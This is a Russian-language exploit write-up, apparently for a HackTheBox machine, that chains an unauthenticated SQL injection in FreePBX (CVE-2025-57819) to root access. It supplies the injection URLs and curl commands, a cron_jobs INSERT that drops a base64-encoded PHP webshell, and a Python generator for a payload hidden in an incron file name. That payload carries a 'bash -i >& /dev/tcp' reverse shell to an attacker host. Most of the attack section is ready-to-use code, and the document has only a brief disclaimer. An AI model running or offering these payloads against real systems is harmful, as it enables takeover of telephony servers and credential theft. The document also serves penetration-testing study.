
Неаутентифицированная SQL-инъекция до удаленного выполнения кода в FreePBX — CVE-2025-57819
Серьезность: Критическая
Тип: Неаутентифицированное SQL-инъекция → Удаленное выполнение кода
Затронутое ПО: FreePBX (модуль endpoint)
Протестировано на: FreePBX на CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5
В модуле endpoint FreePBX существует неаутентифицированная уязвимость SQL-инъекции через параметр brand в /admin/ajax.php. Для эксплуатации этой уязвимости не требуются учетные данные.
В сочетании с внутренним механизмом cron-задач FreePBX и системой хуков incron/fwconsole это приводит к полному неаутентифицированному получению root-оболочки.
[Не требуется аутентификация]
│
▼
Неаутентифицированная SQL-инъекция
(/admin/ajax.php → параметр brand)
│
├──► Извлечение учетных данных БД, хэшей пользователей
│
├──► INSERT в cron_jobs
│ │
│ └──► PHP-веб-шелл помещен в корень веб-сервера
│ │
│ └──► RCE как asterisk (пользовательский флаг)
│
└──► Запись файла триггера incron (как asterisk)
│
└──► sysadmin_manager запускается от root
│
└──► Хук fwconsole → Root-оболочка
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>
Пример:
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
Вывод:
[*] Проверка неаутентифицированной SQLi...
[+] SQLi подтверждена!
[+] База данных : asterisk
[+] Версия : 5.5.65-MariaDB
[+] Пользователь БД : freepbxuser@localhost
[*] Вставка cron-задачи для сброса веб-шелла...
[+] Cron-задача вставлена — ожидание до 90 секунд для её выполнения...
[+] Веб-шелл активен! → uid=999(asterisk) gid=1000(asterisk)
[+] Пользовательский флаг → HTB{REDACTED}
[*] Запуск root-оболочки → 10.10.xx.xx:9999
[+] Файл триггера создан — incron выполнит его от root!
Параметр brand в AJAX-обработчике модуля endpoint передается напрямую в SQL-запрос без очистки:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Это возвращает имя базы данных внутри ошибки XPATH — классическая техника SQLi на основе ошибок. Также поддерживаются стековые запросы, позволяющие выполнять операции INSERT, UPDATE и DELETE.
Используя стековые запросы, в таблицу cron_jobs FreePBX вставляется cron-задача:
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
Планировщик cron FreePBX выполняет это каждую минуту, помещая PHP-веб-шелл в корень веб-сервера.
incrond отслеживает /var/spool/asterisk/incron/ (доступно для записи пользователем asterisk). При создании там файла он запускает /usr/bin/sysadmin_manager от root.
Формат имени файла api.fwconsole-commands.<payload> соответствует ранее существующему хуку, подписанному GPG, по адресу:
/var/www/html/admin/modules/api/hooks/fwconsole-commands
Хук декодирует имя файла как полезную нагрузку base64(zlib(json([cmd, txn_id]))) и выполняет:
$cmd = "/usr/sbin/fwconsole $command 2>&1";
Использование help; в качестве префикса удовлетворяет fwconsole как допустимую команду, а ; позволяет объединять произвольные команды оболочки:
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
Это выполняется от root, предоставляя полную root-оболочку.
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
| Дата | Событие |
|---|---|
| 2025 | Уязвимость обнаружена и сообщена |
| 2025-11-30 | Машина развернута на HackTheBox |
| 2025 | Назначен CVE-2025-57819 |
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его против систем, на тестирование которых у вас нет явного разрешения. Автор не несет ответственности за любое неправомерное использование.
| Находка | Подробности |
|---|
| База данных | asterisk (MariaDB 5.5.65) |
| Пользователь БД | freepbxuser@localhost |
| Веб-пользователь | asterisk (uid=999) |
| Таблица cron | доступна для записи через SQLi |
| Incron dir | /var/spool/asterisk/incron/ (доступен для записи пользователем asterisk) |
| Повышение привилегий | Хук fwconsole выполняется от root через incrond |
| Метод получения root | Триггер incron → подписанный хук fwconsole → инъекция команд |